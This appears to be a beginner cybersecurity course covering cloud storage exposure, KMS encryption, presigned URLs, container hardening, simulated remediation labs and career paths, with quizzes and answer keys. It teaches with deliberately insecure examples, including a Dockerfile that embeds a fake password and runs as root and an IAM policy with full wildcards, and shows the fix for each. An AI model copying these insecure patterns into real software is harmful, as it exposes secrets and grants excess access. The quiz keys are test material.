Object storage such as Amazon S3, Azure Blob Storage and Google Cloud Storage holds files in containers called buckets. Access is governed by several layers: IAM policies, bucket policies, access control lists, ACLs, and in Azure the container access level and shared access signatures. Exposure usually follows a rushed setting, for example granting read to Everyone, or the Principal "*" in a bucket policy, to make a website work or to share a file quickly. Anyone who guesses or finds the bucket name, which scanners do at scale, can list and download data. Backups, logs, database dumps and employee documents are common leaks, and even a bucket containing only public images can still have a writable permission that lets attackers change it.

Public access blocks and auditing

Providers offer a safety net. S3 Block Public Access can be turned on for a bucket or an entire account and overrides any ACL or policy that would grant public access, with four settings covering public ACLs and public policies. Azure offers a storage account setting to disallow anonymous blob access, and Google Cloud has public access prevention. Turn these on by default and open exceptions deliberately for genuine static websites, preferably served through a content delivery network. Audit regularly using tools like AWS Access Analyzer for S3, Macie for sensitive data discovery, and posture management scanners, and review the list of objects for files that should never be stored, such as .env or database exports.

Encryption at rest and KMS

Encryption at rest protects stored data if disks are lost or accessed improperly at a lower level. S3 encrypts all new objects by default with AES-256, and the choice is whose key is used: provider-managed keys, customer-managed keys in a Key Management Service, KMS, or keys the customer holds entirely. KMS keys let you set a key policy, rotate keys, and log every use of the key in CloudTrail, adding a second control: a person with access to the object but not to the key cannot read it. Also use TLS for data in transit, and enforce it with a bucket policy that denies requests not using HTTPS.

Presigned URLs and sharing safely

A presigned URL, or in Azure a shared access signature, lets someone download or upload a specific object for a limited time without having cloud credentials. The URL carries a signature created by the credentials of whoever generated it, so it inherits their permissions and stops working if those credentials are revoked. Keep expiry short, from minutes to a few hours, scope it to one object and one action, and avoid logging URLs, since anyone holding the link can use it. Add versioning and object lock to recover from deletion or tampering, and enable access logging on the bucket so reads and writes can be traced to the requester.

HARDENING A BUCKET (AWS CLI, EXAMPLE)

```
aws s3api put-public-access-block --bucket example-reports \
  --public-access-block-configuration \
    BlockPublicAcls=true,IgnorePublicAcls=true,\
    BlockPublicPolicy=true,RestrictPublicBuckets=true
aws s3api get-bucket-encryption --bucket example-reports
aws s3 presign s3://example-reports/q3.pdf --expires-in 900
```

WORKED EXAMPLE

A marketing intern at Example Corp sets a bucket to public read so a partner can fetch one PDF. A scanner finds the bucket and lists database exports stored beside it. The security team enables account-level Block Public Access, moves the exports into a private bucket encrypted with a customer-managed KMS key, and sends the partner a presigned URL that expires after 15 minutes. Access logging then shows exactly one download of that single file.

KEY TERMS

Bucket: A container for objects in cloud object storage.

ACL: A legacy per-object or per-bucket permission list.

Block Public Access: An override setting that prevents public grants on buckets.

KMS: A managed service that creates, stores and audits encryption keys.

Presigned URL: A time-limited link granting access to one object.

Versioning: Keeping previous versions of objects to recover from change or deletion.

REMEMBER

- Bucket exposure comes from ACLs, policies and rushed sharing settings.
- Turn on public access blocks, and encrypt with KMS keys where control matters.
- Presigned URLs should be short-lived and narrow.

QUICK CHECK

1. What does S3 Block Public Access do?

- A) Encrypts all objects
- B) Overrides ACLs and policies that would make data public
- C) Speeds up downloads
- D) Deletes old objects

2. What extra control does a customer-managed KMS key add?

- A) Faster storage
- B) A key policy and key-use logging separate from object access
- C) Free storage
- D) Larger files

3. Which presigned URL practice is best?

- A) Never expire
- B) Short expiry scoped to one object
- C) Share it publicly in a wiki
- D) Use the root account

4. Which setting is a warning sign in a bucket policy?

- A) Principal set to "*" with s3:GetObject on the bucket
- B) Deny for non-HTTPS requests
- C) Condition requiring a VPC endpoint
- D) Access logging enabled

Answers: 1-B 2-B 3-B 4-A

1. It is a guardrail against accidental public exposure.
2. Access to data and access to the key are separate permissions.
3. A short lifetime and narrow scope limit misuse of a leaked link.
4. Principal * with read access makes objects public.

Containers 101

Containers are how most cloud applications are now packaged, and their isolation is lighter than a virtual machine, so hardening choices matter.

Images, containers and registries

A container image is a read-only, layered package containing an application, its libraries and file system, built from instructions in a Dockerfile. A container is a running instance of an image. Images are stored in registries such as Docker Hub, Amazon ECR or a private registry, and pulled by tag or by digest. The risks are in the supply chain: public images may contain malware, outdated packages or backdoors, and tags like latest can change under you. Use trusted or official base images, pin versions or digests, scan images for known vulnerabilities with tools like Trivy or Gype, sign images, and keep registries private with authenticated pushes.

Namespaces and cgroups

Containers on Linux are ordinary processes isolated by kernel features. Namespaces limit what a process can see: separate views of process IDs, network interfaces, mount points, hostnames, users and inter-process communication. Control groups, cgroups, limit what a process can use, such as CPU, memory and process counts, so one container cannot starve the rest of the host. Other features add protection: seccomp filters restrict system calls, capabilities split root powers into smaller pieces, and AppArmor or SELinux enforce mandatory access policies. Together these form the container sandbox, but every container shares one kernel with the host, so a kernel flaw can enable a container escape.

Docker versus virtual machines

A virtual machine runs a full guest operating system on a hypervisor with virtualized hardware, giving strong isolation, since an attacker must break out through the hypervisor. A container shares the host kernel and starts in seconds with small size, but its isolation boundary is weaker. For that reason highly sensitive or multi-tenant workloads often run containers inside VMs, or use sandboxed runtimes such as gVisor and Kata Containers. Neither model is automatically secure: a VM still needs patching, and a container still needs a minimal, updated image. Choose by trust level: unrelated tenants warrant stronger isolation than the services of one team.

Basic hardening

The most important rule is not to run as root. By default a Dockerfile runs the process as root inside the container, and a root process that escapes has far more power. Add a USER instruction with a non-root account. Avoid the privileged flag and mounting the Docker socket (/var/run/docker.sock), either of which effectively gives control of the host. Use a minimal base such as distroless or Alpine, set the root file system read-only, drop unneeded capabilities and set resource limits. Never bake secrets into images, since every layer is permanent and extractable with docker history; inject them at run time from a secrets store. Rebuild images regularly to pick up patches.

DOCKERFILE RISKS AND FIXES (EXAMPLE)

```
FROM python:latest # unpinned tag
ENV DB_PASSWORD=Fake-Pass-1 # secret in layer
COPY . /app
CMD ["python", "/app/run.py"] # runs as root
# Safer:
FROM python:3.12-slim@sha256:<digest>
RUN useradd -r app
USER app
# docker run --read-only --cap-drop ALL image
```

WORKED EXAMPLE

A developer at Example Corp builds an image from python:latest, copies a .env file with a database password, and runs the app as root. The image is pushed to a public registry by mistake. A scanner reports old libraries, and a stranger pulls the image and reads the password with docker history. The fix: a pinned slim base, a non-root USER, secrets injected at run time, a private registry, and an automated scan before each release.

KEY TERMS

Image: A read-only layered template from which containers start.

Namespace: A kernel feature that limits what a process can see.

cgroup: A kernel feature that limits resource use by a group of processes.

Registry: A server that stores and distributes container images.

Container escape: Breaking out of container isolation to reach the host.

Privileged container: A container with nearly all host capabilities, which defeats isolation.

REMEMBER

- Images come from registries; scan, pin and sign them.
- Namespaces isolate views, cgroups limit resources, but the kernel is shared.
- Run as non-root, avoid privileged mode and keep secrets out of images.

QUICK CHECK

1. What do Linux namespaces provide to a container?
 - A) Limits on CPU use
 - B) Isolated views of resources such as processes and network
 - C) Disk encryption
 - D) Backups
2. Why is isolation between containers generally weaker than between VMs?
 - A) Containers cannot use networks
 - B) Containers share the host kernel
 - C) Containers are always larger
 - D) VMs have no operating system
3. Which Dockerfile change improves security most?
 - A) Adding USER with a non-root account
 - B) Using the latest tag
 - C) Embedding the password in ENV
 - D) Mounting the Docker socket
4. Why is a secret in an image layer a problem?
 - A) Layers are permanent and can be extracted by anyone with the image
 - B) It makes builds faster
 - C) Layers are encrypted by default
 - D) Registries delete layers daily

Answers: 1-B 2-B 3-A 4-A

1. Namespaces control visibility; cgroups control usage.
2. A shared kernel means a kernel flaw may allow escape.
3. Non-root limits the damage of a compromise or escape.
4. Deleting it in a later layer does not remove it from history.

Fix an over-permissive IAM policy

SCENARIO

A fictional developer at Example Corp was granted a JSON policy to read monthly reports from the bucket example-reports. The policy has Effect Allow with Action "*" and Resource "*", meaning full control over every service in the account. In the config editor you will rewrite the statement so it grants only the single read action on the single report path, add an MFA condition, and then run the policy validator to confirm no wildcards remain.

OBJECTIVE

Replace wildcard Action and Resource with least-privilege entries.

STEPS IN THE SIMULATOR

- 1 **Do:** Open policy.json in the editor.

Simulator shows:

Statement shows Action * and Resource *; validator warns of full admin.

- 2 **Do:** Select the Action line.

Simulator shows:

Cursor placed on "Action": "*".

- 3 **Do:** Replace it with "s3:GetObject".

Simulator shows:

Line updated; warning count drops.

- 4 **Do:** Replace Resource with arn:aws:s3:::example-reports/2026/*.

Simulator shows:

Resource now names one path.

- 5 **Do:** Add a Condition requiring aws:MultiFactorAuthPresent equal true.

Simulator shows:

Condition block accepted.

- 6 **Do:** Click Validate.

Simulator shows:

Result: 0 wildcards, 0 errors, policy is least-privilege.

- 7 **Do:** Click Simulate with s3:DeleteBucket.

Simulator shows:

Simulator returns implicit deny.

ANSWER

Change Action to s3:GetObject (add s3:ListBucket on the bucket ARN only if listing is required), set Resource to arn:aws:s3:::example-reports/2026/*, and add an MFA condition. The simulator should allow GetObject on that path and deny other actions such as DeleteBucket.

Hint shown in the app: Name the exact action and the exact resource path the developer needs.

Audit a cloud storage bucket

SCENARIO

The fictional bucket example-reports at Example Corp is reported as exposed. The file explorer shows its objects with an access column and a settings panel. You must find which objects are publicly readable, spot files that contain credentials and should never be stored there, remove or secure them, and then enable the public access block at the bucket level. Finish by refreshing the view to confirm no object is public.

OBJECTIVE

Find public objects and exposed credentials, then apply a public access block.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the bucket in the file explorer.

Simulator shows:

Twelve objects listed with an Access column.

- 2 **Do:** Sort by Access.

Simulator shows:

Three objects show Public Read.

- 3 **Do:** Open the file named backup.env.

Simulator shows:

It contains a fake access key ID and secret.

- 4 **Do:** Delete backup.env and mark the key for rotation.

Simulator shows:

File removed; rotation note added.

- 5 **Do:** Open db_dump.sql.

Simulator shows:

Contains customer rows; it should not be public.

- 6 **Do:** Open Settings and enable Block Public Access (all four options).

Simulator shows:

Settings saved.

- 7 **Do:** Click Refresh.

Simulator shows:

All objects show Private; summary reports 0 public.

ANSWER

Three objects were public, including backup.env with credentials and db_dump.sql with customer data. Remove or move the sensitive files to a private encrypted location, rotate the exposed key, and enable all four Block Public Access options. Check access logs to see whether anyone downloaded the files.

Hint shown in the app: Sort by access level first, then open the files that look like backups or configs.

Review cloud audit logs

SCENARIO

A fictional access key belonging to Example Corp has been used to launch unusual servers. The log viewer contains CloudTrail events from the last 24 hours. You will filter by the access key ID, find the first suspicious call, identify which role or user created the key, note the source IP address of the attacker, and write down the actions taken so the key can be disabled and the incident documented properly.

OBJECTIVE

Trace access key abuse and identify the creating role and source IP.

STEPS IN THE SIMULATOR

- 1 **Do:** Open the CloudTrail viewer and filter `accessKeyId = AKIAEXAMPLE1234`.

Simulator shows:
Eighteen events remain.

- 2 **Do:** Sort by time ascending.

Simulator shows:
First event is `GetCallerIdentity` from `203.0.113.77`.

- 3 **Do:** Find `RunInstances` events.

Simulator shows:
Six large instances launched in a region never used before.

- 4 **Do:** Search for `CreateAccessKey` with the same key ID in the results of earlier days.

Simulator shows:
Event shows it was created by role `build-pipeline`.

- 5 **Do:** Open the creating event details.

Simulator shows:
`userIdentity` is role `build-pipeline`; source IP `192.0.2.15`.

- 6 **Do:** Note the attacker IP.

Simulator shows:
Abuse came from `203.0.113.77`.

- 7 **Do:** Click `Disable key` and `Export timeline`.

Simulator shows:
Key status `inactive`; report saved.

ANSWER

The abuse came from `203.0.113.77`, beginning with `GetCallerIdentity` and then `RunInstances` in an unused region. The key was created by the `build-pipeline` role from `192.0.2.15`. Disable the key, terminate the instances, rotate related secrets and review how the key was leaked.

Hint shown in the app: Filter on the key ID, then sort by time to see the first call.

Harden a Dockerfile

SCENARIO

A fictional team at Example Corp has a Dockerfile that builds from python:latest, sets DB_PASSWORD in an ENV line, copies the whole directory and starts the app as root. In the code editor you will correct each issue: pin the base image, remove the embedded secret, add a non-root user, and then run the verification checker, which reports on each rule and shows pass or fail so you can see every fix.

OBJECTIVE

Remove root, pin the image, drop the secret and verify the fixed file.

STEPS IN THE SIMULATOR

- 1 **Do:** Open Dockerfile in the editor.

Simulator shows:
Checker shows 4 failures.

- 2 **Do:** Change FROM python:latest to FROM python:3.12-slim.

Simulator shows:
Pinning check turns green.

- 3 **Do:** Delete the ENV DB_PASSWORD line.

Simulator shows:
Secret check turns green.

- 4 **Do:** Add RUN useradd -r app before the CMD line.

Simulator shows:
User created in the build.

- 5 **Do:** Add USER app.

Simulator shows:
Root check turns green.

- 6 **Do:** Add a comment that the password comes from run-time secrets.

Simulator shows:
Note saved.

- 7 **Do:** Click Verify.

Simulator shows:
All 4 checks pass.

ANSWER

Use a pinned slim base such as python:3.12-slim (ideally with a digest), remove the ENV secret and supply it at run time from a secrets store, create a non-root user with useradd and switch to it with USER app. Verify that all four checks pass.

Hint shown in the app: Which line sets the secret, and which instruction changes the user?

Cloud Security Basics: 10 questions, 80% to pass

1. In a SaaS model, which item is still the customer's responsibility?
 - A) The data centre cooling
 - B) User accounts, MFA and data sharing settings
 - C) The hypervisor
 - D) The application source code of the vendor
2. Which service model gives the customer the most control of the operating system?
 - A) SaaS
 - B) PaaS
 - C) IaaS
 - D) None
3. A policy has Action "*" and Resource "*". What is the problem?
 - A) It is too restrictive
 - B) It grants every action on every resource
 - C) It is invalid JSON
 - D) It disables logging
4. What is the safest way for a virtual machine to call another cloud service?
 - A) Hard-coded access keys
 - B) An assigned role with short-lived credentials
 - C) The root account
 - D) A shared password in a file
5. Which security group rule should raise an alert?
 - A) 443 from 0.0.0.0/0 on a public web server
 - B) 3389 from 0.0.0.0/0
 - C) 22 from a VPN range
 - D) 80 from a load balancer
6. Why should CloudTrail logs be delivered to a separate protected location?
 - A) To make them smaller
 - B) So an attacker cannot easily delete or alter them
 - C) To avoid encryption
 - D) To lower costs only
7. Which control prevents accidental public access across an entire AWS account?
 - A) S3 Block Public Access at the account level
 - B) Versioning
 - C) Longer bucket names
 - D) Cross-region replication
8. What is the main property of a presigned URL?
 - A) It never expires
 - B) It grants time-limited access to a specific object
 - C) It encrypts the object
 - D) It bypasses IAM completely
9. Containers differ from virtual machines mainly because they:
 - A) Share the host kernel
 - B) Have no file system
 - C) Cannot be networked
 - D) Always run as root
10. Which is the best Dockerfile practice?
 - A) Run as root for convenience
 - B) Use a pinned image, a non-root USER and runtime-injected secrets
 - C) Store passwords in ENV
 - D) Use the latest tag

Answers: 1-B 2-C 3-B 4-B 5-B 6-B 7-A 8-B 9-A 10-B

1. Identity and data remain with the customer in all models.
2. IaaS customers manage the guest OS and above.
3. That is full administrative access.
4. Roles avoid stored long-term secrets.
5. RDP open to the internet is a classic exposure.
6. Protected, separate logs preserve evidence.
7. Account-level Block Public Access overrides risky ACLs and policies.
8. It is limited by time, object and the permissions of its creator.
9. A shared kernel makes isolation lighter than a VM.
10. Pinned, minimal, non-root images with external secrets reduce risk.

Careers and Next Steps

Beginner | 3 lessons | 2 simulated labs | checkpoint | about 2h 15m

This module helps you turn what you have learned into a plan. You will compare the main certifications by level, focus and prerequisites, see how a portfolio of write-ups, a home lab and CTF practice proves real skill, and look at the daily work of common roles from SOC analyst to GRC to AppSec. By the end you should be able to choose a direction and a practice routine.

BY THE END YOU CAN

- + Match certifications to career goals
- + Plan a portfolio that shows practical skills
- + Choose a specialization and a practice routine

IN THIS MODULE

Lesson 1 Certification map

Lesson 2 Portfolio, labs and CTFs

Lesson 3 Choosing a specialization

Lab 1 Build a certification roadmap (Scenario)

Lab 2 Match skills to a role (Chat sim)

Checkpoint 10 questions, 80% to pass

Certification map

Certifications are a common way to prove baseline knowledge to employers, but choosing them in the wrong order wastes money and time.

What a certification does and does not prove

A certification is an independent test of defined knowledge or skill. Employers use it as a quick filter, and some government and contractor roles require specific ones. A certificate does not prove you can work a real incident or test a real application, so it works best alongside hands-on evidence. Most exams are either knowledge based (multiple choice, sometimes with performance-based items) or practical (you work in a live lab and submit answers or a report). When comparing options, ask four questions. What level is it, entry, intermediate or senior? What is its focus, general knowledge, defense, offense or management? What are the prerequisites, formal or recommended? Is it vendor-neutral or tied to a product? Keep in mind that exam details such as question counts, prices and exam codes change, so always confirm them on the official provider site before you pay.

Entry level: Network+, Security+ and eJPT

CompTIA Network+ covers networking fundamentals: the OSI model, IP addressing, routing, switching, ports and troubleshooting. It has no formal prerequisite and is useful before any security path. CompTIA Security+ is the most common first security certification. It is vendor-neutral and broad, covering threats, cryptography, identity, network security, risk and incident response. It has no formal prerequisite, though CompTIA recommends Network+ and about two years of IT experience, and it is widely listed in job postings. eJPT (eLearnSecurity Junior Penetration Tester, now offered by INE) is a practical entry-level offensive exam. You work through a lab network over a fixed period and answer questions based on what you find, so it tests whether you can apply scanning, enumeration and basic exploitation, not only recall them. It is a good first step if your goal is penetration testing.

Intermediate: CySA+, BTL1, CEH and SSCP

CompTIA CySA+ (Cybersecurity Analyst) targets defenders: log analysis, vulnerability management, threat intelligence and incident response. CompTIA recommends Network+, Security+ and several years of experience. Blue Team Level 1 (BTL1) from Security Blue Team is a practical defensive exam covering phishing analysis, digital forensics, SIEM use, incident response and threat intelligence, completed in a timed lab. The Certified Ethical Hacker (CEH) from EC-Council is a knowledge-based exam on attacker tools and techniques, with a separate practical version. It is recognized by some employers and contracts, while many practitioners prefer practical exams for skill. SSCP, from (ISC)2, is an operations-focused credential across seven domains, and it requires about one year of paid experience in the domains.

Advanced: CISSP and how to order your path

CISSP, also from (ISC)2, is a senior, management-leaning certification spanning eight domains such as risk management, architecture, identity and software security. It requires about five years of paid experience in two or more domains, with a reduction for a degree or an approved credential. Candidates without the experience can pass the exam and become Associates of (ISC)2 while they gain it. A sensible order follows your goal. For a general or defensive route: Network+, Security+, then CySA+ or BTL1. For offense: Security+ or networking knowledge, then eJPT and later a deeper practical credential. For management: Security+, SSCP, then CISSP once the experience requirement is met. Do not collect certifications for their own sake; each one should answer a concrete role requirement.

TYPICAL PROGRESSIONS

General/defense : Network+ -> Security+ -> CySA+ or BTL1
 Offense : Networking basics -> eJPT -> deeper practical cert
 Management : Security+ -> SSCP -> CISSP (5 yrs experience)
 CEH : knowledge exam; CEH Practical is separate

WORKED EXAMPLE

Priya works the help desk at the fictional firm Example Corp and wants to become a SOC analyst within two years. She skips CISSP, which needs five years of experience she lacks, and plans Network+ to fill gaps in networking, then Security+ for broad coverage. After six months in a junior monitoring role she adds BTL1 to prove practical triage and phishing analysis, and later CySA+. Each certificate matches a task in the job she wants.

KEY TERMS

Vendor-neutral: A certification that tests general concepts instead of one company's product.

Performance-based: An exam item or full exam where you complete tasks in a simulated or live environment.

Prerequisite: A required or recommended experience or credential before attempting an exam.

Domain: A defined topic area an exam blueprint covers, for example risk management or identity.

Associate of (ISC)2: Status for someone who passes CISSP or SSCP but has not yet met the experience requirement.

REMEMBER

- Match each certification to level, focus and prerequisites, and verify details on the official site.
- Common paths: Network+ then Security+ then CySA+/BTL1; eJPT for offense; SSCP then CISSP for management.
- Certificates support, but do not replace, hands-on proof of skill.

QUICK CHECK

1. Which certification is the most common broad, vendor-neutral first security credential?

- A) CISSP
- B) CompTIA Security+
- C) BTL1
- D) SSCP

2. Which pairing correctly describes a practical, hands-on entry-level offensive exam?

- A) eJPT
- B) CISSP
- C) Network+
- D) SSCP

3. Why is CISSP a poor first certification for a new graduate?

- A) It covers only networking
- B) It requires about five years of paid experience for full certification
- C) It cannot be taken in English
- D) It is only for pentesters

4. BTL1 is best described as which of the following?

- A) A practical defensive certification covering phishing, forensics, SIEM and incident response
- B) A management exam on risk
- C) An offensive web exam only
- D) A networking exam

Answers: 1-B 2-A 3-B 4-A

1. Security+ has no formal prerequisite and covers broad foundations, so it is the usual first security certification.
2. eJPT has you work through a lab network and answer based on your findings. CISSP and Network+ are knowledge based.
3. CISSP is a senior credential requiring years of experience, though passers can become Associates while gaining it.
4. Blue Team Level 1 is a timed practical blue-team exam.

Portfolio, labs and CTFs

Hiring managers want evidence that you can do the work, and a portfolio turns practice into proof.

What a security portfolio contains

A portfolio is a small collection of public, safe artifacts that show how you think. Good items include written lab or CTF write-ups, a short detection or log-analysis report, a simple script that automates a task, a diagram of a home lab, and notes on projects such as hardening a server. Quality beats quantity. Three clear write-ups that explain your reasoning are worth more than thirty screenshots. Host it somewhere easy to read, such as a personal site or a public repository with a clear README. Remove anything sensitive: no real credentials, no employer data, no real personal information. Use only systems you built or were explicitly allowed to test. A portfolio that shows unauthorized activity harms you more than having none.

Writing a good write-up

A strong write-up follows a repeatable structure: the goal, the environment, the steps you took, what you observed, the conclusion, and what a defender should do about it. Explain why you tried each step, including dead ends, because reasoning is what an interviewer wants to see. Include commands and short log excerpts, and describe the defensive lesson, for example which log entry would reveal the activity. Respect platform rules. Hack The Box, for example, does not allow publishing solutions to currently active machines, while retired machines are generally fine, and many CTFs ask you to wait until the event ends. Never publish flags or answers for graded courses. When in doubt, write about the concept and your method instead of copying the exact solution.

Building a home lab

A home lab is a safe, isolated place to practice. A modest setup is a laptop with 16 GB of RAM running virtualization software such as VirtualBox, VMware Workstation Player or Proxmox. Typical virtual machines include a Linux attacker or analyst system, a deliberately vulnerable target, a Windows evaluation VM, a firewall such as pfSense or OPNsense, and a monitoring stack such as Security Onion, Wazuh or an Elastic stack. Isolation is the key rule. Put practice machines on a host-only or internal virtual network so vulnerable systems never touch your home network or the internet. Take snapshots before each experiment so you can restore a clean state. Label what you build and keep notes; the lab itself, documented with a diagram, becomes a portfolio piece.

CTFs and practice platforms

Capture the Flag events are legal puzzles where you find a hidden flag by solving security tasks. Jeopardy-style CTFs offer categories such as web, cryptography, forensics, reverse engineering and binary exploitation. Attack-defense CTFs have teams protecting their own services while attacking others. Beginners can start with picoCTF, a free event from Carnegie Mellon University aimed at students, and OverTheWire wargames such as Bandit for Linux command-line skills. Hack The Box and TryHackMe provide guided learning paths and vulnerable machines; CyberDefenders and Blue Team Labs Online offer defensive investigations with logs and packet captures. Build a routine, for instance three or four sessions a week, and finish with a short note about what you learned. Consistency, not marathon sessions, builds skill, and playing with a team teaches communication as well.

WRITE-UP SKELETON

```
# Challenge name - platform - date
1. Goal
2. Environment (VMs, tools, versions)
3. Steps and reasoning (include dead ends)
4. Evidence (short command output or log lines)
5. Result
6. Defender takeaway: how to detect or prevent this
(Do not publish active-machine solutions or live flags)
```

WORKED EXAMPLE

Marcus builds a lab on one laptop: a host-only network with an OPNsense firewall, a deliberately vulnerable web VM, and a Wazuh server that collects logs. He runs a scan from his analyst VM, then reads the alerts it generated and writes a two-page note with a diagram and three log excerpts. He publishes it with a README, having first removed the lab passwords. A recruiter sees both offense and detection reasoning in one project.

KEY TERMS

Write-up: A written explanation of how you solved a challenge or investigation.

Jeopardy CTF: A CTF format with independent challenges grouped by category and worth points.

Host-only network: A virtual network that connects only the VMs and the host, with no outside access.

Snapshot: A saved VM state that lets you roll back after an experiment.

Flag: A secret string a CTF challenge hides to prove you solved it.

REMEMBER

- Portfolio items: write-ups, lab diagrams, small scripts and detection notes, all sanitized.
- Run labs on isolated networks and snapshot before experiments.
- Use CTFs and platforms on a steady routine, and respect each platform's publishing rules.

QUICK CHECK

1. What is the most important safety rule for a home lab with vulnerable machines?
 - A) Use the same network as your family devices
 - B) Isolate it on a host-only or internal virtual network
 - C) Disable all logging
 - D) Expose the targets to the internet for realism
2. Which platform is a free beginner-friendly CTF from Carnegie Mellon University?
 - A) picoCTF
 - B) CISSP
 - C) Wazuh
 - D) pfSense
3. Which element makes a write-up most valuable to an interviewer?
 - A) The raw flag value
 - B) A clear explanation of your reasoning and the defender takeaway
 - C) Only screenshots
 - D) A list of tools with no context
4. What should you avoid publishing?
 - A) A diagram of your lab
 - B) Solutions to active machines on platforms that forbid it, and real credentials
 - C) A README
 - D) A concept summary

Answers: 1-B 2-A 3-B 4-B

1. Vulnerable systems must never be reachable from your normal network or the internet.
2. picoCTF is aimed at students and beginners.
3. Reasoning and defensive lessons show how you think.
4. Many platforms prohibit active-machine write-ups, and credentials must never be exposed.

Choosing a specialization

Security is a family of roles, and picking a direction early focuses your learning and certification choices.

Defensive roles: SOC and DFIR

A SOC analyst monitors alerts from a SIEM and EDR, triages them, and escalates real incidents. Daily work includes reading logs, checking indicators against threat intelligence, writing tickets and tuning noisy rules. Typical skills are networking, Windows and Linux logs, a query language and calm judgment. Tiers often run from Tier 1 triage to Tier 3 hunting and engineering. Digital forensics and incident response (DFIR) investigators go deeper after an incident is confirmed. They collect disk and memory images with documented chain of custody, analyze timelines, determine scope and help eradicate the attacker. It rewards patience, operating system internals and careful written reports, and it can involve legal processes.

Offensive and application roles

Penetration testers are authorized to attack systems under a written scope and rules of engagement, then report findings with remediation advice. They spend time on scoping, reconnaissance, testing, and a large amount of reporting. Red teamers run longer, goal-based simulations of real adversaries. Both need networking, scripting and web knowledge, and strong communication. Application security (AppSec) engineers work with developers to keep software safe. They review code and designs, run static and dynamic testing in the CI/CD pipeline, perform threat modeling and teach secure coding using references such as the OWASP Top 10. Programming skill is more central here than in most other roles.

Governance, cloud and engineering roles

Governance, risk and compliance (GRC) staff manage policies, risk registers, audits and frameworks such as ISO 27001, NIST CSF and SOC 2. Their days involve interviews, evidence collection and writing, so they fit people strong in communication and structure. Technical depth is lighter, but understanding controls is essential. Cloud security specialists secure AWS, Azure or Google Cloud through identity design, configuration review, logging and infrastructure-as-code checks. Security engineers build and run the tooling: firewalls, SIEM pipelines, endpoint platforms, automation and detections. Both roles lean on scripting, networking and a solid grasp of how systems are built.

Choosing and testing your direction

Pick by how you like to work. Enjoy puzzles and breaking things with rules? Consider offense. Like steady investigation and patterns? Consider SOC or DFIR. Prefer building and automating? Consider engineering or cloud. Prefer people, policy and structure? Consider GRC. Like code and developers? Consider AppSec. Test the choice cheaply before committing. Spend two weeks on a platform track for each role, read real job postings and list the repeated skills, and talk to people in those jobs. Specializations are not permanent; many professionals start in a SOC and move to detection engineering, DFIR or pentesting. Build a shared base in networking, operating systems and scripting, and add depth after you have chosen.

ROLE TO FOCUS MAP

SOC analyst : alert triage, SIEM, logs
 DFIR : forensics, timelines, memory/disk
 Pentester : scoping, testing, reporting
 AppSec : code review, SAST/DAST, threat modeling
 GRC : policy, risk, audits, ISO 27001/NIST
 Cloud : IAM, config review, cloud logging
 Engineer : build and automate security tooling

WORKED EXAMPLE

Lena enjoys scripting and tidy systems, but does not enjoy long reports. She tries two weeks of pentest labs and two weeks of SOC investigations. She finds that tuning alerts and writing small Python parsers gives her the most satisfaction, so she targets a security engineer role with detection engineering duties. She plans Security+, a SIEM course and a portfolio project that ships logs from her home lab into a dashboard.

KEY TERMS

SOC: Security operations center, the team that monitors and responds to alerts.

DFIR: Digital forensics and incident response, investigating confirmed incidents.

GRC: Governance, risk and compliance, managing policy, risk and audits.

AppSec: Application security, building and reviewing software safely.

Red team: A group that simulates real adversaries over a longer goal-based engagement.

REMEMBER

- Roles: SOC, DFIR, pentest, AppSec, GRC, cloud and engineering each have distinct daily work.
- Choose by how you like to work and test the choice with short trials.
- Build a shared base in networking, operating systems and scripting first.

QUICK CHECK

1. Which role mainly triages alerts from a SIEM and escalates real incidents?
 - A) GRC analyst
 - B) SOC analyst
 - C) AppSec engineer
 - D) Auditor
2. Which role is most associated with risk registers, audits and ISO 27001?
 - A) Pentester
 - B) DFIR
 - C) GRC
 - D) Security engineer
3. An AppSec engineer most likely does what?
 - A) Collects memory images after a breach
 - B) Reviews code and runs security testing in the development pipeline
 - C) Manages payroll systems
 - D) Writes audit policies only
4. What is a good low-cost way to test whether a specialization suits you?
 - A) Commit to an expensive certification first
 - B) Try a short platform track, read job postings and talk to practitioners
 - C) Choose randomly
 - D) Avoid all hands-on work

Answers: 1-B 2-C 3-B 4-B

1. Alert triage and escalation is the core of SOC work.
2. GRC manages policy, risk and compliance frameworks.
3. AppSec works with developers on code review, testing and threat modeling.
4. Short trials and research cost little and give real information.

Build a certification roadmap

SCENARIO

You are advising a fictional learner, Sam Rivera, who works at the help desk of Example Corp. Sam wants to become a SOC analyst within two years and has a limited budget. The simulator lists eight certifications with their level, focus and prerequisites, and asks you to choose the best four in order, giving a short reason for each. Your plan should respect experience requirements and match defensive work.

OBJECTIVE

Order four certifications for a SOC analyst goal with prerequisites and reasons.

STEPS IN THE SIMULATOR

- 1 Do:** Read Sam's profile: help desk, basic networking, 2-year goal, SOC analyst.

Simulator shows:

Eight certification cards are shown: Network+, Security+, CySA+, eJPT, BTL1, CEH, SSCP, CISSP.

- 2 Do:** Flag CISSP as unsuitable now.

Simulator shows:

The card notes about five years of experience needed; the simulator marks it as a later goal.

- 3 Do:** Place Network+ first to close networking gaps.

Simulator shows:

Reason accepted: networking is the base for reading logs and traffic.

- 4 Do:** Place Security+ second.

Simulator shows:

Reason accepted: broad vendor-neutral foundation with no formal prerequisite.

- 5 Do:** Place BTL1 third.

Simulator shows:

Reason accepted: practical defensive skills such as phishing analysis and SIEM use.

- 6 Do:** Place CySA+ fourth.

Simulator shows:

Reason accepted: analyst-focused, builds on Security+ and experience.

- 7 Do:** Set aside eJPT and CEH as optional offense-focused items.

Simulator shows:

Simulator notes they are valid but less aligned with the SOC goal.

- 8 Do:** Submit the roadmap.

Simulator shows:

Feedback shows the order, reasons and a rating for goal fit.

ANSWER

A strong roadmap is Network+, Security+, BTL1, CySA+, with CISSP deferred until about five years of experience. Each step builds on the last and matches defensive analyst work. eJPT and CEH are offensive and optional; SSCP is operations-oriented but less targeted.

Hint shown in the app: Match the goal first: defensive analyst work, then respect prerequisites and experience requirements.

Match skills to a role

SCENARIO

A chat-based career advisor at the fictional Example Academy asks you a series of questions about what you enjoy, your current skills, and how you like to work. You answer as yourself or as a persona, such as a person who likes scripting and structure. At the end, the advisor recommends a specialization with reasons and next steps, such as a certification, a practice platform and a portfolio project.

OBJECTIVE

Answer advisor questions and obtain a specialization match with next steps.

STEPS IN THE SIMULATOR

- 1 **Do:** Start the chat and answer the opening question about what kind of tasks you enjoy.

Simulator shows:

The advisor replies and asks about your preference between building, breaking and investigating.

- 2 **Do:** State your preference, for example investigating patterns in logs.

Simulator shows:

The advisor notes a lean toward defensive work and asks about technical background.

